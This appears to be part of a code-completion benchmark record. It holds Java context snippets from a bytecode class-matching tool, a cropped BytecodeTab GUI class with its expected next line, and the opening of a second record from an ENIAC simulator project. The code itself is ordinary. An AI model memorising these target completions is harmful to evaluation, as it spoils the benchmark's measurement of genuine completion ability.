(ClassInstance cls2 : ret) {\n\t\t\t\t\t\t\tif (cls != cls2 && cls.isAssignableFrom(cls2)) {\n\t\t\t\t\t\t\t\tit.remove();\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// TODO: multiple options..\n\t\t\t\t}\n\n\t\t\t\treturn ret.get(0);\n\t\t\t}\n\t\t}\n\n\t\treturn objCls;\n\t}\n\n\tpublic void accept(ClassVisitor visitor, NameType nameType) {\n\t\tClassNode cn = getMergedAsmNode();\n\t\tif (cn == null) throw new IllegalArgumentException(\"cls without asm node: \"+this);\n\n\t\tsynchronized (Util.asmNodeSync) {\n\t\t\tif (nameType != NameType.PLAIN) {\n\t\t\t\tAsmClassRemapper.process(cn, new AsmRemapper(env, nameType), visitor);\n\t\t\t} else {\n\t\t\t\tcn.accept(visitor);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic byte[] serialize(NameType nameType) {\n\t\tClassWriter writer = new ClassWriter(0);\n\t\taccept(writer, nameType);\n\n\t\treturn writer.toByteArray();\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn getDisplayName(NameType.PLAIN, true);\n\t}\n\n\tvoid addMethod(MethodInstance method) {\n\t\tif (method == null) throw new NullPointerException(\"null method\");\n\n\t\tmethodIdx.put(method.id, method);\n\t\tmethods = Arrays.copyOf(methods, methods.length + 1);\n\t\tmethods[methods.length - 1] = method;\n\t}\n\n\tvoid addField(FieldInstance field) {\n\t\tif (field == null) throw new NullPointerException(\"null field\");\n\n\t\tfieldIdx.put(field.id, field);\n\t\tfields = Arrays.copyOf(fields, fields.length + 1);\n\t\tfields[fields.length - 1] = field;\n\t}\n\n\tpublic static String getId(String name) {\n\t\tif (name.isEmpty()) throw new IllegalArgumentException(\"empty class name\");\n\t\tassert name.charAt(name.length() - 1) != ';' || name.charAt(0) == '[' : name;\n\n\t\tif (name.charAt(0) == '[') {\n\t\t\tassert name.charAt(name.length() - 1) == ';' || name.lastIndexOf('[') == name.length() - 2;\n\n\t\t\treturn name;\n\t\t}\n\n\t\treturn \"L\"+name+\";\";\n\t}\n\n\tpublic static String getName(String id) {\n\t\treturn id.startsWith(\"L\") ? id.substring(1, id.length() - 1) : id;\n\t}\n\n\tpublic static boolean hasOuterName(String name) {\n\t\tint pos = name.indexOf('$');\n\n\t\treturn pos > 0 && name.charAt(pos - 1) != '/'; // ignore names starting with $\n\t}\n\n\tpublic static String getInnerName(String name) {\n\t\treturn name.substring(name.lastIndexOf('$') + 1);\n\t}\n\n\tpublic static String getNestedName(String outerName, String innerName) {\n\t\tif (outerName == null || innerName == null) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\treturn outerName + '$' + innerName;\n\t\t}\n\t}\n\n\tpublic static final Comparator<ClassInstance> nameComparator = Comparator.comparing(ClassInstance::getName);\n\n\tprivate static final ClassInstance[] noArrays = new ClassInstance[0];\n\tprivate static final MethodInstance[] noMethods = new MethodInstance[0];\n\tprivate static final FieldInstance[] noFields = new FieldInstance[0];\n\n\tfinal String id;\n\tprivate final URI origin;\n\tfinal ClassEnv env;\n\tprivate ClassNode[] asmNodes;\n\tprivate URI[] asmNodeOrigins;\n\tfinal boolean nameObfuscated;\n\tprivate final boolean input;\n\tfinal ClassInstance elementClass; // 0-dim class TODO: improve handling of array classes (references etc.)\n\tprivate ClassSignature signature;\n\n\tMethodInstance[] methods = noMethods;\n\tFieldInstance[] fields = noFields;\n\tfinal Map<String, MethodInstance> methodIdx = new HashMap<>();\n\tfinal Map<String, FieldInstance> fieldIdx = new HashMap<>();\n\n\tprivate ClassInstance[] arrays = noArrays;\n\n\tClassInstance outerClass;\n\tfinal Set<ClassInstance> innerClasses = Util.newIdentityHashSet();\n\n\tClassInstance superClass;\n\tfinal Set<ClassInstance> childClasses = Util.newIdentityHashSet();\n\tfinal Set<ClassInstance> interfaces = Util.newIdentityHashSet();\n\tfinal Set<ClassInstance> implementers = Util.newIdentityHashSet();\n\n\tfinal Set<MethodInstance> methodTypeRefs = Util.newIdentityHashSet();\n\tfinal Set<FieldInstance> fieldTypeRefs = Util.newIdentityHashSet();\n\n\tfinal Set<String> strings = new HashSet<>();\n\n\tprivate String tmpName;\n\tprivate int uid = -1;\n\n\tprivate String mappedName;\n\tprivate String mappedComment;\n\n\tprivate String[] auxName;\n\n\tprivate boolean matchable = true;\n\tprivate ClassInstance matchedClass;\n}", "public final class FieldInstance extends MemberInstance<FieldInstance> {\n\t/**\n\t * Create a shared unknown field.\n\t */\n\tFieldInstance(ClassInstance cls, String origName, String desc, boolean isStatic) {\n\t\tthis(cls, origName, desc, null, false, -1, isStatic);\n\t}\n\n\t/**\n\t * Create a known field.\n\t */\n\tFieldInstance(ClassInstance cls, String origName, String desc, FieldNode asmNode, boolean nameObfuscated, int position) {\n\t\tthis(cls, origName, desc, asmNode, nameObfuscated, position, (asmNode.access & Opcodes.ACC_STATIC) != 0);\n\t}\n\n\tprivate FieldInstance(ClassInstance cls, String origName, String desc, FieldNode asmNode, boolean nameObfuscated, int position, boolean isStatic) {\n\t\tsuper(cls, getId(origName, desc), origName, nameObfuscated, position, isStatic);\n\n\t\ttry {\n\t\t\tthis.type = cls.getEnv().getCreateClassInstance(desc);\n\t\t\tthis.asmNode = asmNode;\n\t\t\tthis.signature = asmNode == null || asmNode.signature == null || !cls.isInput() ? null : FieldSignature.parse(asmNode.signature, cls.getEnv());\n\t\t} catch (InvalidSharedEnvQueryException e) {\n\t\t\tthrow e.checkOrigin(cls);\n\t\t}\n\n\t\ttype.fieldTypeRefs.add(this);\n\t}\n\n\t@Override\n\tpublic MatchableKind getKind() {\n\t\treturn MatchableKind.FIELD;\n\t}\n\n\t@Override\n\tpublic String getDisplayName(NameType type, boolean full) {\n\t\tStringBuilder ret = new StringBuilder(64);\n\n\t\tret.append(super.getDisplayName(type, full));\n\t\tret.append(' ');\n\t\tret.append(this.type.getDisplayName(type, full));\n\n\t\treturn ret.toString();\n\t}\n\n\t@Override\n\tpublic String getDesc() {\n\t\treturn type.id;\n\t}\n\n\t@Override\n\tpublic String getDesc(NameType type) {\n\t\tif (type == NameType.PLAIN || this.type.isPrimitive()) {\n\t\t\treturn this.type.id;\n\t\t} else {\n\t\t\tString typeName = this.type.getName(type);\n\n\t\t\treturn typeName != null ? ClassInstance.getId(typeName) : null;\n\t\t}\n\t}\n\n\t@Override\n\tpublic boolean isReal() {\n\t\treturn asmNode != null;\n\t}\n\n\tpublic FieldNode getAsmNode() {\n\t\treturn asmNode;\n\t}\n\n\tpublic ClassInstance getType() {\n\t\treturn type;\n\t}\n\n\t@Override\n\tpublic int getAccess() {\n\t\tif (asmNode == null) {\n\t\t\tint ret = Opcodes.ACC_PUBLIC;\n\t\t\tif (isStatic) ret |= Opcodes.ACC_STATIC;\n\t\t\tif (isStatic && type == cls && cls.isEnum()) ret |= Opcodes.ACC_ENUM;\n\t\t\tif (isStatic && cls.isInterface()) ret |= Opcodes.ACC_FINAL;\n\n\t\t\treturn ret;\n\t\t} else {\n\t\t\treturn asmNode.access;\n\t\t}\n\t}\n\n\tpublic FieldSignature getSignature() {\n\t\treturn signature;\n\t}\n\n\tpublic List<AbstractInsnNode> getInitializer() {\n\t\treturn initializer;\n\t}\n\n\tpublic Set<MethodInstance> getReadRefs() {\n\t\treturn readRefs;\n\t}\n\n\tpublic Set<MethodInstance> getWriteRefs() {\n\t\treturn writeRefs;\n\t}\n\n\t@Override\n\tpublic boolean canBeRecordComponent() {\n\t\treturn cls.isRecord() && !isStatic() && !isProtected() && !isPublic() && isFinal(); // jls requires private, but proguard(?) uses package-private too\n\t}\n\n\t@Override\n\tpublic MethodInstance getLinkedRecordComponent(NameType nameType) {\n\t\tif (!canBeRecordComponent()) return null;\n\n\t\tString name = nameType != null ? getName(nameType) : null;\n\t\tMethodInstance ret = null;\n\n\t\tfor (MethodInstance method : cls.getMethods()) {\n\t\t\tif (method.canBeRecordComponent()\n\t\t\t\t\t&& method.getRetType().equals(type)\n\t\t\t\t\t&& (name == null || name.equals(method.getName(nameType)))\n\t\t\t\t\t&& (ret == null || !readRefs.contains(ret) && readRefs.contains(method))) {\n\t\t\t\tret = method;\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\t@Override\n\tprotected String getUidString() {\n\t\tint uid = getUid();\n\t\tif (uid < 0) return null;\n\n\t\treturn cls.env.getGlobal().fieldUidPrefix+uid;\n\t}\n\n\t@Override\n\tpublic boolean hasPotentialMatch() {\n\t\tif (matchedInstance != null) return true;\n\t\tif (!cls.hasMatch() || !isMatchable()) return false;\n\n\t\tfor (FieldInstance o : cls.getMatch().getFields()) {\n\t\t\tif (ClassifierUtil.checkPotentialEquality(this, o)) return true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic boolean isFullyMatched(boolean recursive) {\n\t\treturn matchedInstance != null;\n\t}\n\n\tpublic static String getId(String name, String desc) {\n\t\treturn name+\";;\"+desc;\n\t}\n\n\tfinal FieldNode asmNode;\n\tfinal ClassInstance type;\n\tClassInstance exactType;\n\tprivate final FieldSignature signature;\n\tList<AbstractInsnNode> initializer;\n\n\tfinal Set<MethodInstance> readRefs = Util.newIdentityHashSet();\n\tfinal Set<MethodInstance> writeRefs = Util.newIdentityHashSet();\n}", "public final class MethodInstance extends MemberInstance<MethodInstance> {\n\t/**\n\t * Create a shared unknown method.\n\t */\n\tMethodInstance(ClassInstance cls, String origName, String desc, boolean isStatic) {\n\t\tthis(cls, origName, desc, null, false, -1, isStatic);\n\t}\n\n\t/**\n\t * Create a known method.\n\t */\n\tMethodInstance(ClassInstance cls, String origName, String desc, MethodNode asmNode, boolean nameObfuscated, int position) {\n\t\tthis(cls, origName, desc, asmNode, nameObfuscated, position, (asmNode.access & Opcodes.ACC_STATIC) != 0);\n\t}\n\n\tprivate MethodInstance(ClassInstance cls, String origName, String desc, MethodNode asmNode, boolean nameObfuscated, int position, boolean isStatic) {\n\t\tsuper(cls, getId(origName, desc), origName, nameObfuscated, position, isStatic);\n\n\t\ttry {\n\t\t\tthis.real = asmNode != null;\n\t\t\tthis.access = asmNode != null ? asmNode.access : approximateAccess(isStatic);\n\t\t\tthis.args = gatherArgs(this, desc, asmNode);\n\t\t\tthis.vars = cls.isInput() ? gatherVars(this, asmNode) : emptyVars;\n\t\t\tthis.retType = cls.getEnv().getCreateClassInstance(Type.getReturnType(desc).getDescriptor());\n\t\t\tthis.signature = asmNode == null || asmNode.signature == null || !cls.isInput() ? null : MethodSignature.parse(asmNode.signature, cls.getEnv());\n\t\t\tthis.asmNode = !cls.getEnv().isShared() ? asmNode : null;\n\t\t} catch (InvalidSharedEnvQueryException e) {\n\t\t\tthrow e.checkOrigin(cls);\n\t\t}\n\n\t\tclassRefs.add(retType);\n\t\tretType.methodTypeRefs.add(this);\n\t}\n\n\tprivate static int approximateAccess(boolean isStatic) {\n\t\tint ret = Opcodes.ACC_PUBLIC;\n\t\tif (isStatic) ret |= Opcodes.ACC_STATIC;\n\n\t\treturn ret;\n\t}\n\n\tprivate static MethodVarInstance[] gatherArgs(MethodInstance method, String desc, MethodNode asmNode) {\n\t\tType[] argTypes = Type.getArgumentTypes(desc);\n\t\tif (argTypes.length == 0) return emptyVars;\n\n\t\tMethodVarInstance[] args = new MethodVarInstance[argTypes.length];\n\t\tList<LocalVariableNode> locals;\n\t\tInsnList il;\n\t\tAbstractInsnNode firstInsn;\n\n\t\tif (asmNode != null) {\n\t\t\tlocals = asmNode.localVariables;\n\t\t\til = asmNode.instructions;\n\t\t\tfirstInsn = il.getFirst();\n\t\t} else {\n\t\t\tlocals = null;\n\t\t\til = null;\n\t\t\tfirstInsn = null;\n\t\t}\n\n\t\tint lvIdx = method.isStatic ? 0 : 1;\n\n\t\tfor (int i = 0; i < argTypes.length; i++) {\n\t\t\tType asmType = argTypes[i];\n\t\t\tClassInstance type = method.cls.getEnv().getCreateClassInstance(asmType.getDescriptor());\n\t\t\tint asmIndex = -1;\n\t\t\tint startInsn = -1;\n\t\t\tint endInsn = -1;\n\t\t\tString name = null;\n\n\t\t\tif (locals != null) {\n\t\t\t\tfor (int j = 0; j < locals.size(); j++) {\n\t\t\t\t\tLocalVariableNode n = locals.get(j);\n\n\t\t\t\t\tif (n.index == lvIdx && n.start == firstInsn) {\n\t\t\t\t\t\tassert n.desc.equals(type.id);\n\n\t\t\t\t\t\tasmIndex = j;\n\t\t\t\t\t\tstartInsn = il.indexOf(n.start);\n\t\t\t\t\t\tendInsn = il.indexOf(n.end);\n\t\t\t\t\t\tname = n.name;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tMethodVarInstance arg = new MethodVarInstance(method, true, i, lvIdx, asmIndex,\n\t\t\t\t\ttype, startInsn, endInsn, 0,\n\t\t\t\t\tname,\n\t\t\t\t\tname == null || method.nameObfuscatedLocal || method.cls.nameObfuscated || !Util.isValidJavaIdentifier(name));\n\t\t\targs[i] = arg;\n\n\t\t\tmethod.classRefs.add(type);\n\t\t\ttype.methodTypeRefs.add(method);\n\n\t\t\tlvIdx += type.getSlotSize();\n\t\t}\n\n\t\treturn args;\n\t}\n\n\tprivate static MethodVarInstance[] gatherVars(MethodInstance method, MethodNode asmNode) {\n\t\tif (asmNode == null) return emptyVars;\n\t\tif (asmNode.localVariables == null) return emptyVars; // TODO: generate?\n\t\tif (asmNode.localVariables.isEmpty()) return emptyVars;\n\n\t\tInsnList il = asmNode.instructions;\n\t\tAbstractInsnNode firstInsn = il.getFirst();\n\t\tList<LocalVariableNode> vars = new ArrayList<>();\n\n\t\tlvLoop: for (int i = 0; i < asmNode.localVariables.size(); i++) {\n\t\t\tLocalVariableNode var = asmNode.localVariables.get(i);\n\n\t\t\tif (var.start == firstInsn) { // check if it's an arg\n\t\t\t\tif (var.index == 0 && !method.isStatic) continue;\n\n\t\t\t\tfor (MethodVarInstance arg : method.args) {\n\t\t\t\t\tif (arg.asmIndex == i) { // var is an arg\n\t\t\t\t\t\tcontinue lvLoop;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvars.add(var);\n\t\t}\n\n\t\tif (vars.isEmpty()) return emptyVars;\n\n\t\t// stable sort by start bci\n\t\tCollections.sort(vars, Comparator.comparingInt(var -> il.indexOf(var.start))); // Collections.sort is specified as stable, List.sort isn't (only implNote in OpenJDK 8)\n\n\t\tMethodVarInstance[] ret = new MethodVarInstance[vars.size()];\n\n\t\tfor (int i = 0; i < vars.size(); i++) {\n\t\t\tLocalVariableNode var = vars.get(i);\n\n\t\t\tassert var.name != null;\n\t\t\tassert method.args.length == 0 || var.index > method.args[method.args.length - 1].lvIndex;\n\n\t\t\tint startInsn = il.indexOf(var.start);\n\t\t\tint endInsn = il.indexOf(var.end);\n\t\t\tassert startInsn >= 0 && endInsn >= 0;\n\n\t\t\tAbstractInsnNode start = var.start;\n\t\t\tint startOpIdx = 0;\n\n\t\t\twhile ((start = start.getPrevious()) != null) {\n\t\t\t\tif (start.getOpcode() >= 0) startOpIdx++;\n\t\t\t}\n\n\t\t\tret[i] = new MethodVarInstance(method, false, i, var.index, asmNode.localVariables.indexOf(var),\n\t\t\t\t\tmethod.getEnv().getCreateClassInstance(var.desc), startInsn, endInsn, startOpIdx,\n\t\t\t\t\tvar.name,\n\t\t\t\t\tvar.name == null || method.nameObfuscatedLocal || method.cls.nameObfuscated || !Util.isValidJavaIdentifier(var.name));\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\t@Override\n\tpublic MatchableKind getKind() {\n\t\treturn MatchableKind.METHOD;\n\t}\n\n\t@Override\n\tpublic String getDisplayName(NameType type, boolean full) {\n\t\tStringBuilder ret = new StringBuilder(64);\n\t\tret.append(super.getDisplayName(type, full));\n\t\tret.append('(');\n\t\tboolean first = true;\n\n\t\tfor (MethodVarInstance arg : args) {\n\t\t\tif (first) {\n\t\t\t\tfirst = false;\n\t\t\t} else {\n\t\t\t\tret.append(\", \");\n\t\t\t}\n\n\t\t\tret.append(arg.getType().getDisplayName(type, full));\n\t\t}\n\n\t\tret.append(')');\n\t\tret.append(retType.getDisplayName(type, full));\n\n\t\treturn ret.toString();\n\t}\n\n\t@Override\n\tpublic String getDesc() {\n\t\treturn getDesc(NameType.PLAIN);\n\t}\n\n\t@Override\n\tpublic String getDesc(NameType type) {\n\t\tint descStart = id.indexOf('(');\n\t\tif (type == NameType.PLAIN || id.indexOf('L', descStart + 1) < 0) return id.substring(descStart);\n\n\t\tStringBuilder ret = new StringBuilder(id.length());\n\t\tret.append('(');\n\n\t\tfor (MethodVarInstance arg : args) {\n\t\t\tif (!appendId(arg.getType(), type, ret)) return null;\n\t\t}\n\n\t\tret.append(')');\n\t\tif (!appendId(retType, type, ret)) return null;\n\n\t\treturn ret.toString();\n\t}\n\n\tprivate static boolean appendId(ClassInstance cls, NameType type, StringBuilder out) {\n\t\tif (type == NameType.PLAIN || cls.isPrimitive()) {\n\t\t\tout.append(cls.id);\n\t\t} else {\n\t\t\tString name = cls.getName(type);\n\t\t\tif (name == null) return false;\n\n\t\t\tif (cls.isArray()) {\n\t\t\t\tout.append(name);\n\t\t\t} else {\n\t\t\t\tout.append('L');\n\t\t\t\tout.append(name);\n\t\t\t\tout.append(';');\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic boolean isReal() {\n\t\treturn real;\n\t}\n\n\tpublic MethodNode getAsmNode() {\n\t\treturn asmNode;\n\t}\n\n\tpublic MethodVarInstance getArg(int index) {\n\t\tif (index < 0 || index >= args.length) throw new IllegalArgumentException(\"invalid arg index: \"+index);\n\n\t\treturn args[index];\n\t}\n\n\tpublic MethodVarInstance getArg(String id) {\n\t\treturn getArg(Integer.parseInt(id));\n\t}\n\n\tpublic MethodVarInstance getVar(int index) {\n\t\tif (index < 0 || index >= vars.length) throw new IllegalArgumentException(\"invalid var index: \"+index);\n\n\t\treturn vars[index];\n\t}\n\n\tpublic MethodVarInstance getVar(String id) {\n\t\treturn getVar(Integer.parseInt(id));\n\t}\n\n\tpublic MethodVarInstance getVar(String id, boolean isArg) {\n\t\treturn isArg ? getArg(id) : getVar(id);\n\t}\n\n\tpublic MethodVarInstance getArgOrVar(int lvIndex, int pos) {\n\t\treturn getArgOrVar(lvIndex, pos, pos + 1);\n\t}\n\n\tpublic MethodVarInstance getArgOrVar(int lvIndex, int start, int end) {\n\t\tif (args.length > 0 && lvIndex <= args[args.length - 1].getLvIndex()) {\n\t\t\tfor (int i = 0; i < args.length; i++) {\n\t\t\t\tMethodVarInstance arg = args[i];\n\n\t\t\t\tif (arg.getLvIndex() == lvIndex) {\n\t\t\t\t\tassert arg.getStartInsn() < 0\n\t\t\t\t\t|| start < arg.getEndInsn() && end > arg.getStartInsn()\n\t\t\t\t\t|| arg.getStartInsn() < end && arg.getEndInsn() > start;\n\n\t\t\t\t\treturn arg;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tMethodVarInstance candidate = null;\n\t\t\tboolean conflict = false;\n\n\t\t\tfor (int i = 0; i < vars.length; i++) {\n\t\t\t\tMethodVarInstance var = vars[i];\n\t\t\t\tif (var.getLvIndex() != lvIndex) continue;\n\n\t\t\t\tif (start < var.getEndInsn() && end > var.getStartInsn()) { // requested interval within var interval (assumes matcher's interval never too loose)\n\t\t\t\t\treturn var;\n\t\t\t\t} else if (var.getStartInsn() < end && var.getEndInsn() > start) { // var interval within requested interval, only allow unique match\n\t\t\t\t\tif (candidate != null) {\n\t\t\t\t\t\tconflict = true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcandidate = var;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (candidate != null && !conflict) {\n\t\t\t\treturn candidate;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic MethodVarInstance[] getArgs() {\n\t\treturn args;\n\t}\n\n\tpublic MethodVarInstance[] getVars() {\n\t\treturn vars;\n\t}\n\n\tpublic boolean hasAllArgsMapped() {\n\t\tfor (MethodVarInstance arg : args) {\n\t\t\tif (!arg.hasMappedName()) return false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tpublic ClassInstance getRetType() {\n\t\treturn retType;\n\t}\n\n\t@Override\n\tpublic int getAccess() {\n\t\treturn access;\n\t}\n\n\tpublic MethodSignature getSignature() {\n\t\treturn signature;\n\t}\n\n\t@Override\n\tpublic boolean canBeRecordComponent() {\n\t\treturn cls.isRecord() && !isStatic() && isPublic() && args.length == 0 && !retType.id.equals(\"V\");\n\t}\n\n\t@Override\n\tpublic FieldInstance getLinkedRecordComponent(NameType nameType) {\n\t\tif (!canBeRecordComponent()) return null;\n\n\t\tString name = nameType != null ? getName(nameType) : null;\n\t\tFieldInstance ret = null;\n\n\t\tfor (FieldInstance field : cls.getFields()) {\n\t\t\tif (field.canBeRecordComponent()\n\t\t\t\t\t&& field.getType().equals(retType)\n\t\t\t\t\t&& (name == null || name.equals(field.getName(nameType)))\n\t\t\t\t\t&& (ret == null || !fieldReadRefs.contains(ret) && fieldReadRefs.contains(field))) {\n\t\t\t\tret = field;\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\tpublic boolean isBridge() {\n\t\treturn (getAccess() & Opcodes.ACC_BRIDGE) != 0;\n\t}\n\n\tpublic MethodType getType() {\n\t\treturn type;\n\t}\n\n\tpublic Set<MethodInstance> getRefsIn() {\n\t\treturn refsIn;\n\t}\n\n\tpublic Set<MethodInstance> getRefsOut() {\n\t\treturn refsOut;\n\t}\n\n\tpublic Set<FieldInstance> getFieldReadRefs() {\n\t\treturn fieldReadRefs;\n\t}\n\n\tpublic Set<FieldInstance> getFieldWriteRefs() {\n\t\treturn fieldWriteRefs;\n\t}\n\n\tpublic Set<ClassInstance> getClassRefs() {\n\t\treturn classRefs;\n\t}\n\n\t@Override\n\tpublic String getUidString() {\n\t\tint uid = getUid();\n\t\tif (uid < 0) return null;\n\n\t\treturn cls.env.getGlobal().methodUidPrefix+uid;\n\t}\n\n\t@Override\n\tpublic boolean hasPotentialMatch() {\n\t\tif (matchedInstance != null) return true;\n\t\tif (!cls.hasMatch() || !isMatchable()) return false;\n\n\t\tfor (MethodInstance o : cls.getMatch().getMethods()) {\n\t\t\tif (ClassifierUtil.checkPotentialEquality(this, o)) return true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic boolean isFullyMatched(boolean recursive) {\n\t\tif (matchedInstance == null) return false;\n\n\t\tboolean anyUnmatched = false;\n\n\t\tfor (MethodVarInstance v : args) {\n\t\t\tif (!v.hasMatch()) {\n\t\t\t\tanyUnmatched = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (anyUnmatched) {\n\t\t\tfor (MethodVarInstance a : args) {\n\t\t\t\tif (a.hasMatch()) continue;\n\n\t\t\t\t// check for any potential match to ignore methods that are impossible to match\n\t\t\t\tfor (MethodVarInstance b : matchedInstance.args) {\n\t\t\t\t\tif (!b.hasMatch() && ClassifierUtil.checkPotentialEquality(a, b)) {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tanyUnmatched = false;\n\n\t\tfor (MethodVarInstance v : vars) {\n\t\t\tif (!v.hasMatch()) {\n\t\t\t\tanyUnmatched = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (anyUnmatched) {\n\t\t\tfor (MethodVarInstance a : vars) {\n\t\t\t\tif (a.hasMatch()) continue;\n\n\t\t\t\tfor (MethodVarInstance b : matchedInstance.vars) {\n\t\t\t\t\tif (!b.hasMatch() && ClassifierUtil.checkPotentialEquality(a, b)) {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tpublic static String getId(String name, String desc) {\n\t\treturn name+desc;\n\t}\n\n\tprivate static final MethodVarInstance[] emptyVars = new MethodVarInstance[0];\n\n\tfinal boolean real;\n\tfinal int access;\n\tfinal MethodVarInstance[] args;\n\tfinal ClassInstance retType;\n\tMethodVarInstance[] vars;\n\tfinal MethodSignature signature;\n\tprivate final MethodNode asmNode;\n\n\tMethodType type = MethodType.UNKNOWN;\n\n\tfinal Set<MethodInstance> refsIn = Util.newIdentityHashSet();\n\tfinal Set<MethodInstance> refsOut = Util.newIdentityHashSet();\n\tfinal Set<FieldInstance> fieldReadRefs = Util.newIdentityHashSet();\n\tfinal Set<FieldInstance> fieldWriteRefs = Util.newIdentityHashSet();\n\tfinal Set<ClassInstance> classRefs = Util.newIdentityHashSet();\n}" ]
import java.io.PrintWriter; import java.io.StringWriter; import org.objectweb.asm.util.TraceClassVisitor; import matcher.NameType; import matcher.gui.Gui; import matcher.gui.ISelectionProvider; import matcher.srcprocess.HtmlUtil; import matcher.type.ClassInstance; import matcher.type.FieldInstance; import matcher.type.MethodInstance;
package matcher.gui.tab; public class BytecodeTab extends WebViewTab { public BytecodeTab(Gui gui, ISelectionProvider selectionProvider, boolean unmatchedTmp) { super("bytecode", "ui/ByteCodeTemplate.htm"); this.gui = gui; this.selectionProvider = selectionProvider; this.unmatchedTmp = unmatchedTmp; } @Override public void onClassSelect(ClassInstance cls) { update(cls, false); } @Override public void onViewChange() { ClassInstance cls = selectionProvider.getSelectedClass(); if (cls != null) { update(cls, true); } } private void update(ClassInstance cls, boolean isRefresh) { if (cls == null) { displayText("no class selected"); } else { StringWriter writer = new StringWriter(); try (PrintWriter pw = new PrintWriter(writer)) { NameType nameType = gui.getNameType().withUnmatchedTmp(unmatchedTmp); cls.accept(new TraceClassVisitor(null, new HtmlTextifier(cls, nameType), pw), nameType); } double prevScroll = isRefresh ? getScrollTop() : 0; displayHtml(writer.toString()); if (isRefresh && prevScroll > 0) { setScrollTop(prevScroll); } } } @Override public void onMethodSelect(MethodInstance method) {
if (method != null) select(HtmlUtil.getId(method));
3
kinnla/eniac
src/eniac/menu/action/OpenConfiguration.java
[ "public class Manager {\n\n\t/*\n\t * ========================= applet lifecycle states =======================\n\t */\n\n\tpublic enum LifeCycle {\n\n\t\t/**\n\t\t * Default lifecycle state on startup\n\t\t */\n\t\tDEFAULT,\n\n\t\t/**\n\t\t * Livecycle state indicating a successful initialization\n\t\t */\n\t\tINITIALIZED,\n\n\t\t/**\n\t\t * Lifecycle state indicating that the application is running and the\n\t\t * gui expects input.\n\t\t */\n\t\tRUNNING,\n\n\t\t/**\n\t\t * Lifecycle state indicating that the application is running but the\n\t\t * gui is blocked.\n\t\t */\n\t\tBLOCKED,\n\n\t\t/**\n\t\t * Lifecycle state indicating that the application is stopped.\n\t\t */\n\t\tSTOPPED,\n\n\t\t/**\n\t\t * Lifecycle state indicating that the application is destroyed.\n\t\t */\n\t\tDESTROYED,\n\t}\n\n\t/*\n\t * =============================== fields ==================================\n\t */\n\n\t// flag indicating, whether we have privileged local file access\n\tprivate boolean _ioAccess;\n\n\t// reference to the applet. Stays null, if started as application.\n\tprivate Applet _applet = null;\n\n\t/*\n\t * ========================== singleton stuff ==============================\n\t */\n\n\tprivate Manager() {\n\t\t// empty constructor\n\t}\n\n\t// singleton self reference\n\tprivate static Manager instance = null;\n\n\tpublic static Manager getInstance() {\n\t\tif (instance == null) {\n\t\t\tinstance = new Manager();\n\t\t}\n\t\treturn instance;\n\t}\n\n\t/*\n\t * =================== lifecycle state transitions =========================\n\t */\n\n\t/**\n\t * creates and initializes all instances\n\t */\n\tpublic void init() {\n\t\tStatus.initValues();\n\t\tDictionaryIO.loadDefaultLanguage();\n\t\tSkinIO.loadDefaultSkin();\n\t\tStatus.LIFECYCLE.setValue(LifeCycle.INITIALIZED);\n\t}\n\n\tpublic void start() {\n\n\t\t// loading the configuration may open an input dialog for the user.\n\t\t// as the java-plugin may expect this method to return quickly,\n\t\t// we start a new thread.\n\t\tSwingUtilities.invokeLater(new Runnable() {\n\t\t\tpublic void run() {\n\n\t\t\t\t// load types\n\t\t\t\tTypeHandler.loadTypes();\n\n\t\t\t\t// load default configuration\n\t\t\t\tConfigIO.loadDefaultConfiguration();\n\n\t\t\t\t// check, if we haven't been interrupted\n\t\t\t\tif (Status.LIFECYCLE.getValue() == LifeCycle.INITIALIZED) {\n\n\t\t\t\t\t// open eframe and adjust runlevel\n\t\t\t\t\tEFrame.getInstance().toScreen();\n\t\t\t\t\tLogWindow.getInstance();\n\t\t\t\t\tStatus.LIFECYCLE.setValue(LifeCycle.RUNNING);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\n\tpublic void stop() {\n\n\t\t// TODO: check, if we need to block first\n\n\t\t// dispose configuration\n\t\tConfiguration config = (Configuration) Status.CONFIGURATION.getValue();\n\t\tif (config != null) {\n\t\t\tconfig.dispose();\n\t\t}\n\t\tStatus.CONFIGURATION.setValue(null);\n\n\t\t// announce that applet is shutting down\n\t\tStatus.LIFECYCLE.setValue(LifeCycle.STOPPED);\n\t}\n\n\tpublic void destroy() {\n\n\t\t// check that we haven't been destroyed before\n\t\tif (Status.LIFECYCLE.getValue() != LifeCycle.STOPPED) {\n\t\t\treturn;\n\t\t}\n\n\t\t// run finalization.\n\t\t// Though it probably has no effect, the purpose provides good fortune.\n\t\tSystem.runFinalization();\n\n\t\t// announce that applet is destroyed\n\t\tStatus.LIFECYCLE.setValue(LifeCycle.DESTROYED);\n\t}\n\n\t/*\n\t * ============================== methods ==================================\n\t */\n\n\tpublic void setApplet(Applet applet) {\n\t\t_applet = applet;\n\t}\n\n\tpublic void makeDialog(DialogPanel content, String title) 